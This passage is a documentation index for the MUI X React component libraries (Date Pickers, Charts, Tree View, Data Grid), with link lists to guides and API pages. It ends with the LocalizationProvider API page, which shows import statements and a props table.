- [PickersDay](/x/api/date-pickers/pickers-day.md): API documentation for PickersDay
- [PickersLayout](/x/api/date-pickers/pickers-layout.md): API documentation for PickersLayout
- [PickersRangeCalendarHeader](/x/api/date-pickers/pickers-range-calendar-header.md): API documentation for PickersRangeCalendarHeader (pro)
- [PickersSectionList](/x/api/date-pickers/pickers-section-list.md): API documentation for PickersSectionList
- [PickersShortcuts](/x/api/date-pickers/pickers-shortcuts.md): API documentation for PickersShortcuts
- [PickersTextField](/x/api/date-pickers/pickers-text-field.md): API documentation for PickersTextField
- [SingleInputDateRangeField](/x/api/date-pickers/single-input-date-range-field.md): API documentation for SingleInputDateRangeField (pro)
- [SingleInputDateTimeRangeField](/x/api/date-pickers/single-input-date-time-range-field.md): API documentation for SingleInputDateTimeRangeField (pro)
- [SingleInputTimeRangeField](/x/api/date-pickers/single-input-time-range-field.md): API documentation for SingleInputTimeRangeField (pro)
- [StaticDatePicker](/x/api/date-pickers/static-date-picker.md): API documentation for StaticDatePicker
- [StaticDateRangePicker](/x/api/date-pickers/static-date-range-picker.md): API documentation for StaticDateRangePicker (pro)
- [StaticDateTimePicker](/x/api/date-pickers/static-date-time-picker.md): API documentation for StaticDateTimePicker
- [StaticTimePicker](/x/api/date-pickers/static-time-picker.md): API documentation for StaticTimePicker
- [TimeClock](/x/api/date-pickers/time-clock.md): API documentation for TimeClock
- [TimeField](/x/api/date-pickers/time-field.md): API documentation for TimeField
- [TimePicker](/x/api/date-pickers/time-picker.md): API documentation for TimePicker
- [TimePickerToolbar](/x/api/date-pickers/time-picker-toolbar.md): API documentation for TimePickerToolbar
- [TimeRangePicker](/x/api/date-pickers/time-range-picker.md): API documentation for TimeRangePicker (pro)
- [TimeRangePickerTabs](/x/api/date-pickers/time-range-picker-tabs.md): API documentation for TimeRangePickerTabs (pro)
- [TimeRangePickerToolbar](/x/api/date-pickers/time-range-picker-toolbar.md): API documentation for TimeRangePickerToolbar (pro)
- [YearCalendar](/x/api/date-pickers/year-calendar.md): API documentation for YearCalendar

---

## Charts

This is the documentation for the Charts package.
It contains comprehensive guides, components, and utilities for building user interfaces.

- [Quickstart](/x/react-charts/quickstart.md): Install the MUI X Charts package to start building React data visualization components.
- [Examples](/x/react-charts/examples.md): Browse through our collection of MUI X Chart demos.

### Components

#### Bars

- [Bars overview](/x/react-charts/bars.md): Bar charts express quantities through a bar's length, using a common baseline.
- [Demos](/x/react-charts/bar-demo.md): This page groups demos using bar charts.

#### Lines

- [Lines overview](/x/react-charts/lines.md): Line charts can express qualities about data, such as hierarchy, highlights, and comparisons.
- [Lines demo](/x/react-charts/line-demo.md): This page groups demos using line charts.
- [Area demo](/x/react-charts/areas-demo.md): This page groups demos using area charts.

#### Pie

- [Pie overview](/x/react-charts/pie.md): Pie charts express portions of a whole, using arcs or angles within a circle.
- [Demo](/x/react-charts/pie-demo.md): This page groups demos using pie charts.

#### Scatter

- [Scatter overview](/x/react-charts/scatter.md): Scatter charts express the relation between two variables, using points in a surface.
- [Demo](/x/react-charts/scatter-demo.md): This page groups demos using scatter charts.

- [Sparkline](/x/react-charts/sparkline.md): Sparkline chart can provide an overview of data trends.
- [Gauge](/x/react-charts/gauge.md): Gauge let the user evaluate metrics.
- [Radar](/x/react-charts/radar.md): Radar lets you compare multivariate data in a 2D chart.
- [Heatmap](/x/react-charts/heatmap.md): Heatmap charts visually represents data with color variations to highlight patterns and trends across two dimensions. (pro)

#### Funnel

- [Funnel overview](/x/react-charts/funnel.md): Funnel charts let you express quantity evolution along a process, such as audience engagement, population education levels, or yields of multiple processes.
- [Pyramid demo](/x/react-charts/pyramid.md): The pyramid chart is a variation of the funnel chart.

- [Sankey](/x/react-charts/sankey.md): Sankey charts are great for visualizing flows between different elements. (pro)

#### Main features

- [Animation](/x/react-charts/animation.md): Learn how to customize both CSS and JavaScript-based Chart animations.
- [Axis](/x/react-charts/axis.md): Define, format, and customize Chart axes.
- [Brush](/x/react-charts/brush.md): The brush interaction allows users to select a region on the chart by clicking and dragging.
- [Custom components](/x/react-charts/components.md): Create custom chart components using the provided hooks.
- [Composition](/x/react-charts/composition.md): Creating advanced custom charts.
- [Export](/x/react-charts/export.md): Export charts as a PDF from the print dialog, or as an image. (pro)
- [Highlighting](/x/react-charts/highlighting.md): Highlighting data offers quick visual feedback for chart users.
- [Label](/x/react-charts/label.md): Label is the text reference of a series or data.
- [Legend](/x/react-charts/legend.md): Legend is the UI element mapping symbols and colors to the series' label.
- [Localization](/x/react-charts/localization.md): Localization (also referred to as "l10n") is the process of adapting a product or content to a specific locale or market.
- [Stacking](/x/react-charts/stacking.md): Stacking lets you display the decomposition of values.
- [Styling](/x/react-charts/styling.md): This page groups topics about charts customization.
- [Toolbar](/x/react-charts/toolbar.md): Charts can display a toolbar for easier access to certain functionality.
- [Tooltip](/x/react-charts/tooltip.md): Tooltip provides extra data on charts item.
- [Zoom and pan](/x/react-charts/zoom-and-pan.md): Enables zooming and panning on specific charts or axis. (pro)
- [Content Security Policy](/x/react-charts/content-security-policy.md): This section covers the details of setting up a Content Security Policy.

#### Resources

- [AnimatedArea](/x/api/charts/animated-area.md): API documentation for AnimatedArea
- [AnimatedLine](/x/api/charts/animated-line.md): API documentation for AnimatedLine
- [AreaElement](/x/api/charts/area-element.md): API documentation for AreaElement
- [AreaPlot](/x/api/charts/area-plot.md): API documentation for AreaPlot
- [BarChart](/x/api/charts/bar-chart.md): API documentation for BarChart
- [BarChartPro](/x/api/charts/bar-chart-pro.md): API documentation for BarChartPro (pro)
- [BarElement](/x/api/charts/bar-element.md): API documentation for BarElement
- [BarLabel](/x/api/charts/bar-label.md): API documentation for BarLabel
- [BarPlot](/x/api/charts/bar-plot.md): API documentation for BarPlot
- [ChartContainer](/x/api/charts/chart-container.md): API documentation for ChartContainer
- [ChartContainerPro](/x/api/charts/chart-container-pro.md): API documentation for ChartContainerPro (pro)
- [ChartDataProvider](/x/api/charts/chart-data-provider.md): API documentation for ChartDataProvider
- [ChartDataProviderPro](/x/api/charts/chart-data-provider-pro.md): API documentation for ChartDataProviderPro (pro)
- [ChartsAxis](/x/api/charts/charts-axis.md): API documentation for ChartsAxis
- [ChartsAxisHighlight](/x/api/charts/charts-axis-highlight.md): API documentation for ChartsAxisHighlight
- [ChartsAxisTooltipContent](/x/api/charts/charts-axis-tooltip-content.md): API documentation for ChartsAxisTooltipContent
- [ChartsBrushOverlay](/x/api/charts/charts-brush-overlay.md): API documentation for ChartsBrushOverlay
- [ChartsClipPath](/x/api/charts/charts-clip-path.md): API documentation for ChartsClipPath
- [ChartsGrid](/x/api/charts/charts-grid.md): API documentation for ChartsGrid
- [ChartsItemTooltipContent](/x/api/charts/charts-item-tooltip-content.md): API documentation for ChartsItemTooltipContent
- [ChartsLegend](/x/api/charts/charts-legend.md): API documentation for ChartsLegend
- [ChartsLocalizationProvider](/x/api/charts/charts-localization-provider.md): API documentation for ChartsLocalizationProvider
- [ChartsReferenceLine](/x/api/charts/charts-reference-line.md): API documentation for ChartsReferenceLine
- [ChartsSurface](/x/api/charts/charts-surface.md): API documentation for ChartsSurface
- [ChartsText](/x/api/charts/charts-text.md): API documentation for ChartsText
- [ChartsToolbarImageExportTrigger](/x/api/charts/charts-toolbar-image-export-trigger.md): API documentation for ChartsToolbarImageExportTrigger (pro)
- [ChartsToolbarPrintExportTrigger](/x/api/charts/charts-toolbar-print-export-trigger.md): API documentation for ChartsToolbarPrintExportTrigger (pro)
- [ChartsToolbarPro](/x/api/charts/charts-toolbar-pro.md): API documentation for ChartsToolbarPro (pro)
- [ChartsToolbarZoomInTrigger](/x/api/charts/charts-toolbar-zoom-in-trigger.md): API documentation for ChartsToolbarZoomInTrigger (pro)
- [ChartsToolbarZoomOutTrigger](/x/api/charts/charts-toolbar-zoom-out-trigger.md): API documentation for ChartsToolbarZoomOutTrigger (pro)
- [ChartsTooltip](/x/api/charts/charts-tooltip.md): API documentation for ChartsTooltip
- [ChartsTooltipContainer](/x/api/charts/charts-tooltip-container.md): API documentation for ChartsTooltipContainer
- [ChartsWrapper](/x/api/charts/charts-wrapper.md): API documentation for ChartsWrapper
- [ChartsXAxis](/x/api/charts/charts-x-axis.md): API documentation for ChartsXAxis
- [ChartsYAxis](/x/api/charts/charts-y-axis.md): API documentation for ChartsYAxis
- [ChartZoomSlider](/x/api/charts/chart-zoom-slider.md): API documentation for ChartZoomSlider (pro)
- [ContinuousColorLegend](/x/api/charts/continuous-color-legend.md): API documentation for ContinuousColorLegend
- [FunnelChart](/x/api/charts/funnel-chart.md): API documentation for FunnelChart (pro)
- [FunnelPlot](/x/api/charts/funnel-plot.md): API documentation for FunnelPlot (pro)
- [Gauge](/x/api/charts/gauge.md): API documentation for Gauge
- [GaugeContainer](/x/api/charts/gauge-container.md): API documentation for GaugeContainer
- [Heatmap](/x/api/charts/heatmap.md): API documentation for Heatmap (pro)
- [HeatmapPlot](/x/api/charts/heatmap-plot.md): API documentation for HeatmapPlot (pro)
- [HeatmapTooltip](/x/api/charts/heatmap-tooltip.md): API documentation for HeatmapTooltip (pro)
- [HeatmapTooltipContent](/x/api/charts/heatmap-tooltip-content.md): API documentation for HeatmapTooltipContent (pro)
- [LineChart](/x/api/charts/line-chart.md): API documentation for LineChart
- [LineChartPro](/x/api/charts/line-chart-pro.md): API documentation for LineChartPro (pro)
- [LineElement](/x/api/charts/line-element.md): API documentation for LineElement
- [LineHighlightElement](/x/api/charts/line-highlight-element.md): API documentation for LineHighlightElement
- [LineHighlightPlot](/x/api/charts/line-highlight-plot.md): API documentation for LineHighlightPlot
- [LinePlot](/x/api/charts/line-plot.md): API documentation for LinePlot
- [MarkElement](/x/api/charts/mark-element.md): API documentation for MarkElement
- [MarkPlot](/x/api/charts/mark-plot.md): API documentation for MarkPlot
- [PieArc](/x/api/charts/pie-arc.md): API documentation for PieArc
- [PieArcLabel](/x/api/charts/pie-arc-label.md): API documentation for PieArcLabel
- [PieArcLabelPlot](/x/api/charts/pie-arc-label-plot.md): API documentation for PieArcLabelPlot
- [PieArcPlot](/x/api/charts/pie-arc-plot.md): API documentation for PieArcPlot
- [PiecewiseColorLegend](/x/api/charts/piecewise-color-legend.md): API documentation for PiecewiseColorLegend
- [PieChart](/x/api/charts/pie-chart.md): API documentation for PieChart
- [PieChartPro](/x/api/charts/pie-chart-pro.md): API documentation for PieChartPro (pro)
- [PiePlot](/x/api/charts/pie-plot.md): API documentation for PiePlot
- [RadarAxis](/x/api/charts/radar-axis.md): API documentation for RadarAxis
- [RadarAxisHighlight](/x/api/charts/radar-axis-highlight.md): API documentation for RadarAxisHighlight
- [RadarChart](/x/api/charts/radar-chart.md): API documentation for RadarChart
- [RadarChartPro](/x/api/charts/radar-chart-pro.md): API documentation for RadarChartPro (pro)
- [RadarGrid](/x/api/charts/radar-grid.md): API documentation for RadarGrid
- [RadarMetricLabels](/x/api/charts/radar-metric-labels.md): API documentation for RadarMetricLabels
- [RadarSeriesArea](/x/api/charts/radar-series-area.md): API documentation for RadarSeriesArea
- [RadarSeriesMarks](/x/api/charts/radar-series-marks.md): API documentation for RadarSeriesMarks
- [RadarSeriesPlot](/x/api/charts/radar-series-plot.md): API documentation for RadarSeriesPlot
- [SankeyChart](/x/api/charts/sankey-chart.md): API documentation for SankeyChart (pro)
- [SankeyPlot](/x/api/charts/sankey-plot.md): API documentation for SankeyPlot (pro)
- [SankeyTooltip](/x/api/charts/sankey-tooltip.md): API documentation for SankeyTooltip (pro)
- [SankeyTooltipContent](/x/api/charts/sankey-tooltip-content.md): API documentation for SankeyTooltipContent (pro)
- [Scatter](/x/api/charts/scatter.md): API documentation for Scatter
- [ScatterChart](/x/api/charts/scatter-chart.md): API documentation for ScatterChart
- [ScatterChartPro](/x/api/charts/scatter-chart-pro.md): API documentation for ScatterChartPro (pro)
- [ScatterPlot](/x/api/charts/scatter-plot.md): API documentation for ScatterPlot
- [SparkLineChart](/x/api/charts/spark-line-chart.md): API documentation for SparkLineChart
- [Toolbar](/x/api/charts/toolbar.md): API documentation for Toolbar
- [ToolbarButton](/x/api/charts/toolbar-button.md): API documentation for ToolbarButton
- [AxisConfig](/x/api/charts/axis-config.md): API documentation for AxisConfig
- [BarSeries](/x/api/charts/bar-series.md): API documentation for BarSeries
- [FunnelSeries](/x/api/charts/funnel-series.md): API documentation for FunnelSeries
- [HeatmapSeries](/x/api/charts/heatmap-series.md): API documentation for HeatmapSeries
- [LineSeries](/x/api/charts/line-series.md): API documentation for LineSeries
- [PieSeries](/x/api/charts/pie-series.md): API documentation for PieSeries
- [RadarSeries](/x/api/charts/radar-series.md): API documentation for RadarSeries
- [ScatterSeries](/x/api/charts/scatter-series.md): API documentation for ScatterSeries
- [LegendItemParams](/x/api/charts/legend-item-params.md): API documentation for LegendItemParams
- [ChartImageExportOptions](/x/api/charts/chart-image-export-options.md): API documentation for ChartImageExportOptions
- [ChartPrintExportOptions](/x/api/charts/chart-print-export-options.md): API documentation for ChartPrintExportOptions
- [Overview](/x/react-charts/hooks.md): The package provides a set of hooks to access chart data and utilities for building custom components.
- [useSeries](/x/react-charts/hooks/use-series.md): Access raw series data for all chart types.
- [useLegend](/x/react-charts/hooks/use-legend.md): Access formatted legend data for creating custom legend components.
- [useDrawingArea](/x/react-charts/hooks/use-drawing-area.md): Access the chart's drawing area dimensions and coordinates.
- [useScale](/x/react-charts/hooks/use-scale.md): Access D3 scale functions for coordinate transformations.
- [useAxes](/x/react-charts/hooks/use-axes.md): Access axis configuration and properties for cartesian and polar charts.
- [useDataset](/x/react-charts/hooks/use-dataset.md): Access the dataset used to populate series and axes data.
- [Plugins](/x/react-charts/plugins.md): The library relies on two systems to perform data processing: the plugins and the series config.

---

## Tree View

This is the documentation for the Tree View package.
It contains comprehensive guides, components, and utilities for building user interfaces.

- [Quickstart](/x/react-tree-view/quickstart.md): Install the MUI X Tree View package and start building.

### Simple Tree View

- [Items](/x/react-tree-view/simple-tree-view/items.md): Learn how to add simple data to the Tree View component.
- [Selection](/x/react-tree-view/simple-tree-view/selection.md): Learn how to enable item selection for the Tree View component.
- [Expansion](/x/react-tree-view/simple-tree-view/expansion.md): Learn how to handle expanding and collapsing Tree View items.
- [Customization](/x/react-tree-view/simple-tree-view/customization.md): Learn how to customize the Simple Tree View component.
- [Focus](/x/react-tree-view/simple-tree-view/focus.md): Learn how to focus Tree View items.

### Rich Tree View

- [Items](/x/react-tree-view/rich-tree-view/items.md): Pass data to your Tree View.
- [Selection](/x/react-tree-view/rich-tree-view/selection.md): Handle how users can select items.
- [Expansion](/x/react-tree-view/rich-tree-view/expansion.md): Handle how users can expand and collapse items.
- [Customization](/x/react-tree-view/rich-tree-view/customization.md): Learn how to customize the Rich Tree View component.
- [Focus](/x/react-tree-view/rich-tree-view/focus.md): Learn how to focus Tree View items.
- [Label editing](/x/react-tree-view/rich-tree-view/editing.md): Learn how to edit Tree View item labels. 🆕
- [Lazy loading](/x/react-tree-view/rich-tree-view/lazy-loading.md): Lazy load the data from your Tree View. (pro) 🆕
- [Ordering](/x/react-tree-view/rich-tree-view/ordering.md): Let users drag and drop items in the Tree View to reorder them. (pro) 🆕

### Main features

- [Accessibility](/x/react-tree-view/accessibility.md): Learn how the Tree View implements accessibility features and guidelines, including keyboard navigation that follows international standards.
- [Item customization](/x/react-tree-view/tree-item-customization.md): Learn how to customize the Tree Item component.

### Resources

- [RichTreeView](/x/api/tree-view/rich-tree-view.md): API documentation for RichTreeView
- [RichTreeViewPro](/x/api/tree-view/rich-tree-view-pro.md): API documentation for RichTreeViewPro (pro)
- [SimpleTreeView](/x/api/tree-view/simple-tree-view.md): API documentation for SimpleTreeView
- [TreeItem](/x/api/tree-view/tree-item.md): API documentation for TreeItem
- [TreeItemDragAndDropOverlay](/x/api/tree-view/tree-item-drag-and-drop-overlay.md): API documentation for TreeItemDragAndDropOverlay
- [TreeItemIcon](/x/api/tree-view/tree-item-icon.md): API documentation for TreeItemIcon
- [TreeItemProvider](/x/api/tree-view/tree-item-provider.md): API documentation for TreeItemProvider

---

## Data Grid

This is the documentation for the Data Grid package.
It contains comprehensive guides, components, and utilities for building user interfaces.

- [Quickstart](/x/react-data-grid/quickstart.md): Install the MUI X Data Grid package and start building your React data table.
- [Features](/x/react-data-grid/features.md): Explore all of the available features in each of the Data Grid packages.

### Demos

- [time data](/x/react-data-grid/demos/real-time-data.md): Real-time data updates in the Data Grid, using simulated market data to showcase live changes.
- [Time off calendar](/x/react-data-grid/demos/time-off-calendar.md): Date range visualization in the Data Grid, using a calendar UI to display and manage time periods.
- [Inventory](/x/react-data-grid/demos/inventory.md): An inventory dashboard for vendors showcasing product availability.

### Main features

- [Layout](/x/react-data-grid/layout.md): The Data Grid offers multiple layout modes.

#### Columns

- [Column definition](/x/react-data-grid/column-definition.md): Define your columns.
- [Column dimensions](/x/react-data-grid/column-dimensions.md): Customize the dimensions and resizing behavior of your columns.
- [Column visibility](/x/react-data-grid/column-visibility.md): Define which columns are visible.
- [Custom columns](/x/react-data-grid/custom-columns.md): Create custom column types.
- [Column header](/x/react-data-grid/column-header.md): Customize your columns header.
- [Column menu](/x/react-data-grid/column-menu.md): Customize your columns menu.
- [Column spanning](/x/react-data-grid/column-spanning.md): Span cells across several columns.
- [Column groups](/x/react-data-grid/column-groups.md): Group your columns.
- [Column reordering](/x/react-data-grid/column-ordering.md): The Data Grid Pro lets users drag and drop columns to reorder them. (pro)
- [Column pinning](/x/react-data-grid/column-pinning.md): Implement pinning to keep columns in the Data Grid visible at all times. (pro)
- [Recipes](/x/react-data-grid/column-recipes.md): Advanced column customization recipes.

#### Rows

- [Row definition](/x/react-data-grid/row-definition.md): Define your rows.
- [Row updates](/x/react-data-grid/row-updates.md): Always keep your rows up to date.
- [Row height](/x/react-data-grid/row-height.md): Customize the height of your rows.
- [Row spanning](/x/react-data-grid/row-spanning.md): Span cells across several rows. 🆕
- [detail row panels](/x/react-data-grid/master-detail.md): Implement master-detail row panels to let users view extended information without leaving the Data Grid. (pro)
- [Row reordering](/x/react-data-grid/row-ordering.md): The Data Grid Pro lets users drag and drop rows to reorder them. (pro)
- [Row pinning](/x/react-data-grid/row-pinning.md): Implement pinning to keep rows in the Data Grid visible at all times. (pro)
- [Recipes](/x/react-data-grid/row-recipes.md): Advanced row customization recipes.

- [Cells](/x/react-data-grid/cells.md): Learn how to customize the rendered elements and values of a cell.

#### Editing

- [Overview](/x/react-data-grid/editing.md): The Data Grid has built-in support for cell and row editing.
- [Persistence](/x/react-data-grid/editing/persistence.md): Persisting edited rows.
- [Custom edit component](/x/react-data-grid/editing/custom-edit-component.md): Creating custom edit component.
- [Editing events](/x/react-data-grid/editing/editing-events.md): Using editing events.
- [Recipes editing](/x/react-data-grid/recipes-editing.md): Advanced grid customization recipes.

- [Sorting](/x/react-data-grid/sorting.md): Easily sort your rows based on one or several criteria.

#### Filtering

- [Overview](/x/react-data-grid/filtering.md): Easily filter your rows based on one or several criteria.
- [Customization](/x/react-data-grid/filtering/customization.md): Ways to customize your filters.
- [Quick filter](/x/react-data-grid/filtering/quick-filter.md): One filter field to quickly filter grid.
- [side filtering](/x/react-data-grid/filtering/server-side.md): Filter rows on the server.
- [filters](/x/react-data-grid/filtering/multi-filters.md): Let end users apply multiple filters to the Data Grid simultaneously. (pro)
- [Header filters](/x/react-data-grid/filtering/header-filters.md): Give users quick-access column filters in the Data Grid header. (pro)
- [Recipes](/x/react-data-grid/filtering-recipes.md): Advanced filtering customization recipes.

- [Pagination](/x/react-data-grid/pagination.md): Easily paginate your rows and only fetch what you need.

#### Selection

- [Row selection](/x/react-data-grid/row-selection.md): Row selection lets users select and highlight a single row or multiple rows that they can then take action on.
- [Cell selection](/x/react-data-grid/cell-selection.md): Let users select individual cells or a range of cells. (premium)

- [Virtualization](/x/react-data-grid/virtualization.md): The grid is high performing thanks to its rows and columns virtualization engine.
- [Accessibility](/x/react-data-grid/accessibility.md): Learn how the Data Grid implements accessibility features and guidelines, including keyboard navigation that follows international standards.
- [Localization](/x/react-data-grid/localization.md): The Data Grid's localization features provide the appropriate translations and formatting for users around the world.

### Advanced features

- [Tree data](/x/react-data-grid/tree-data.md): Use tree data to render rows with parent-child relationships in the Data Grid. (pro)

#### Row grouping

- [Overview](/x/react-data-grid/row-grouping.md): Group rows together based on column values in the Data Grid.
- [Recipes](/x/react-data-grid/recipes-row-grouping.md): Advanced grid customization recipes.

- [Aggregation](/x/react-data-grid/aggregation.md): Add aggregation functions to the Data Grid to let users combine row values. (premium)

#### Pivoting

- [Overview](/x/react-data-grid/pivoting.md): Rearrange rows and columns to view data from multiple perspectives.

- [Export](/x/react-data-grid/export.md): Export the rows in CSV or Excel formats, or use the browser's print dialog to print or save as PDF.
- [Copy and paste](/x/react-data-grid/clipboard.md): Copy and paste data using clipboard.
- [Scrolling](/x/react-data-grid/scrolling.md): This section presents how to programmatically control the scroll.
- [List view](/x/react-data-grid/list-view.md): Display data in a single-column list view for a more compact Data Grid on smaller screens and mobile devices. (pro)

#### Server-side data

- [Overview](/x/react-data-grid/server-side-data.md): Learn how to work with server-side data in the Data Grid using the Data Source layer.
- [Tree data](/x/react-data-grid/server-side-data/tree-data.md): Implement lazy-loading server-side tree data in the Data Grid using the Data Source layer. (pro)
- [Lazy loading](/x/react-data-grid/server-side-data/lazy-loading.md): Implement lazy-loading rows with server-side data in the Data Grid using the Data Source layer. (pro)
- [Row grouping](/x/react-data-grid/server-side-data/row-grouping.md): Implement row grouping with server-side data in the Data Grid using the Data Source layer. (premium)
- [Aggregation](/x/react-data-grid/server-side-data/aggregation.md): Implement aggregation with server-side data in the Data Grid using the Data Source layer. (premium)
- [Pivoting](/x/react-data-grid/server-side-data/pivoting.md): Implement pivoting with server-side data in the Data Grid using the Data Source layer. (premium)
- [Recipes](/x/react-data-grid/server-side-data/recipes.md): Recipes for advanced data source use-cases.

- [Charts integration](/x/react-data-grid/charts-integration.md): Use the MUI X Charts to visualize data from the Data Grid. (premium)
- [AI Assistant](/x/react-data-grid/ai-assistant.md): Translate natural language into Data Grid views. (premium) 🆕

### Components

- [Toolbar](/x/react-data-grid/components/toolbar.md): Add custom actions and controls to the Data Grid.
- [Export](/x/react-data-grid/components/export.md): Let users export the Data Grid for Excel, CSV, or printing.
- [Quick Filter](/x/react-data-grid/components/quick-filter.md): Provide users with an expandable search field to filter data in the Data Grid.
- [Columns Panel](/x/react-data-grid/components/columns-panel.md): Customize the Data Grid's columns panel. (planned)
- [Filter Panel](/x/react-data-grid/components/filter-panel.md): Customize the Data Grid's filter panel. (planned)
- [Prompt Field](/x/react-data-grid/components/prompt-field.md): Provide users with a prompt field to interact with the AI assistant. (premium)
- [Pivot Panel](/x/react-data-grid/components/pivot-panel.md): Customize the Data Grid's pivot panel. (premium) (planned)
- [Charts Panel](/x/react-data-grid/components/charts-panel.md): Customize the Data Grid's Charts panel. (premium) (planned)
- [AI Assistant Panel](/x/react-data-grid/components/ai-assistant-panel.md): Customize the Data Grid's AI assistant panel. (premium) (planned)

### Customization

- [Styling basics](/x/react-data-grid/style.md): The grid CSS can be easily overwritten.
- [Styling recipes](/x/react-data-grid/style-recipes.md): Advanced grid styling recipes.
- [Overlays](/x/react-data-grid/overlays.md): The various Data Grid overlays.

### Resources

- [API object](/x/react-data-grid/api-object.md): Interact with the Data Grid using its API.
- [Events](/x/react-data-grid/events.md): Subscribe to the events emitted by the Data Grid to trigger custom behavior.
- [State](/x/react-data-grid/state.md): Initialize and read the state of the Data Grid.
- [Performance](/x/react-data-grid/performance.md): Follow these recommendations to improve your Data Grid's performance.

### API reference

- [Index](/x/api/data-grid.md): API documentation for Index
- [AiAssistantPanelTrigger](/x/api/data-grid/ai-assistant-panel-trigger.md): API documentation for AiAssistantPanelTrigger (premium)
- [ChartsPanelTrigger](/x/api/data-grid/charts-panel-trigger.md): API documentation for ChartsPanelTrigger (premium)
- [ColumnsPanelTrigger](/x/api/data-grid/columns-panel-trigger.md): API documentation for ColumnsPanelTrigger
- [DataGrid](/x/api/data-grid/data-grid.md): API documentation for DataGrid
- [DataGridPremium](/x/api/data-grid/data-grid-premium.md): API documentation for DataGridPremium (premium)
- [DataGridPro](/x/api/data-grid/data-grid-pro.md): API documentation for DataGridPro (pro)
- [ExportCsv](/x/api/data-grid/export-csv.md): API documentation for ExportCsv
- [ExportExcel](/x/api/data-grid/export-excel.md): API documentation for ExportExcel (premium)
- [ExportPrint](/x/api/data-grid/export-print.md): API documentation for ExportPrint
- [FilterPanelTrigger](/x/api/data-grid/filter-panel-trigger.md): API documentation for FilterPanelTrigger
- [GridChartsPanel](/x/api/data-grid/grid-charts-panel.md): API documentation for GridChartsPanel (premium)
- [GridChartsRendererProxy](/x/api/data-grid/grid-charts-renderer-proxy.md): API documentation for GridChartsRendererProxy (premium)
- [GridFilterForm](/x/api/data-grid/grid-filter-form.md): API documentation for GridFilterForm
- [GridFilterPanel](/x/api/data-grid/grid-filter-panel.md): API documentation for GridFilterPanel
- [GridToolbarQuickFilter](/x/api/data-grid/grid-toolbar-quick-filter.md): API documentation for GridToolbarQuickFilter
- [PivotPanelTrigger](/x/api/data-grid/pivot-panel-trigger.md): API documentation for PivotPanelTrigger (premium)
- [PromptField](/x/api/data-grid/prompt-field.md): API documentation for PromptField (premium)
- [PromptFieldControl](/x/api/data-grid/prompt-field-control.md): API documentation for PromptFieldControl (premium)
- [PromptFieldRecord](/x/api/data-grid/prompt-field-record.md): API documentation for PromptFieldRecord (premium)
- [PromptFieldSend](/x/api/data-grid/prompt-field-send.md): API documentation for PromptFieldSend (premium)
- [QuickFilter](/x/api/data-grid/quick-filter.md): API documentation for QuickFilter
- [QuickFilterClear](/x/api/data-grid/quick-filter-clear.md): API documentation for QuickFilterClear
- [QuickFilterControl](/x/api/data-grid/quick-filter-control.md): API documentation for QuickFilterControl
- [QuickFilterTrigger](/x/api/data-grid/quick-filter-trigger.md): API documentation for QuickFilterTrigger
- [Toolbar](/x/api/data-grid/toolbar.md): API documentation for Toolbar
- [ToolbarButton](/x/api/data-grid/toolbar-button.md): API documentation for ToolbarButton
- [GridApi](/x/api/data-grid/grid-api.md): API documentation for GridApi
- [GridCellParams](/x/api/data-grid/grid-cell-params.md): API documentation for GridCellParams
- [GridColDef](/x/api/data-grid/grid-col-def.md): API documentation for GridColDef
- [GridSingleSelectColDef](/x/api/data-grid/grid-single-select-col-def.md): API documentation for GridSingleSelectColDef
- [GridActionsColDef](/x/api/data-grid/grid-actions-col-def.md): API documentation for GridActionsColDef
- [GridListViewColDef](/x/api/data-grid/grid-list-view-col-def.md): API documentation for GridListViewColDef
- [GridExportStateParams](/x/api/data-grid/grid-export-state-params.md): API documentation for GridExportStateParams
- [GridFilterItem](/x/api/data-grid/grid-filter-item.md): API documentation for GridFilterItem
- [GridFilterModel](/x/api/data-grid/grid-filter-model.md): API documentation for GridFilterModel
- [GridFilterOperator](/x/api/data-grid/grid-filter-operator.md): API documentation for GridFilterOperator
- [GridRenderContext](/x/api/data-grid/grid-render-context.md): API documentation for GridRenderContext
- [GridRowClassNameParams](/x/api/data-grid/grid-row-class-name-params.md): API documentation for GridRowClassNameParams
- [GridRowParams](/x/api/data-grid/grid-row-params.md): API documentation for GridRowParams
- [GridRowSpacingParams](/x/api/data-grid/grid-row-spacing-params.md): API documentation for GridRowSpacingParams
- [GridRowOrderChangeParams](/x/api/data-grid/grid-row-order-change-params.md): API documentation for GridRowOrderChangeParams
- [GridAggregationFunction](/x/api/data-grid/grid-aggregation-function.md): API documentation for GridAggregationFunction
- [GridAggregationFunctionDataSource](/x/api/data-grid/grid-aggregation-function-data-source.md): API documentation for GridAggregationFunctionDataSource
- [GridCsvExportOptions](/x/api/data-grid/grid-csv-export-options.md): API documentation for GridCsvExportOptions
- [GridPrintExportOptions](/x/api/data-grid/grid-print-export-options.md): API documentation for GridPrintExportOptions
- [GridExcelExportOptions](/x/api/data-grid/grid-excel-export-options.md): API documentation for GridExcelExportOptions

### Tutorials

- [side data](/x/react-data-grid/tutorials/server-side-data.md)

---

# Source: https://mui.com/x/api/date-pickers/localization-provider.md

# LocalizationProvider API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Date format and localization](/x/react-date-pickers/adapters-locale/)
- [Calendar systems](/x/react-date-pickers/calendar-systems/)
- [Translated components](/x/react-date-pickers/localization/)
- [UTC and timezones](/x/react-date-pickers/timezone/)

## Import

```jsx
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
// or
import { LocalizationProvider } from '@mui/x-date-pickers';
// or
import { LocalizationProvider } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| adapterLocale | `any` | - | No |  |
| dateAdapter | `func` | - | No |  |
| dateFormats | `{ dayOfMonth?: string, dayOfMonthFull?: string, fullDate?: string, fullTime12h?: string, fullTime24h?: string, hours12h?: string, hours24h?: string, keyboardDate?: string, keyboardDateTime12h?: string, keyboardDateTime24h?: string, meridiem?: string, minutes?: string, month?: string, monthShort?: string, normalDate?: string, normalDateWithWeekday?: string, seconds?: string, shortDate?: string, weekday?: string, weekdayShort?: string, year?: string }` | - | No |  |
| dateLibInstance | `any` | - | No |  |
| localeText | `object` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

> Any other props supplied will be provided to the root element (native element).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/LocalizationProvider/LocalizationProvider.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/LocalizationProvider/LocalizationProvider.tsx)

---

# Source: https://mui.com/x/react-data-grid/localization.md

# Source: https://mui.com/x/react-charts/localization.md

# Source: https://mui.com/x/react-date-pickers/localization.md

---
